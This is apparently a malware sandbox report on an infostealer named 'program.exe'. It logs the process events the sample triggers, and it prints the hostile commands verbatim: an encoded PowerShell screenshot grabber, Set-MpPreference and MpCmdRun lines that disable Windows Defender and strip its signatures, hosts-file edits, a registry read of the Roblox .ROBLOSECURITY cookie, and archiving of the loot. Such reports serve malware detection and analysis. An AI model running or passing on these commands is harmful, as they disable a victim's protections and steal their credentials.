Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}

Modifies Windows Defender protection settings

Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior

Modifies the hosts file

Source: C:\Users\user\Desktop\program.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Removes signatures from Windows Defender

Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior

Source: C:\Users\user\Desktop\program.exe	Process created: C:\Users\user\Desktop\program.exe "C:\Users\user\Desktop\program.exe"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\MBLSI.zip" *"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"	Jump to behavior
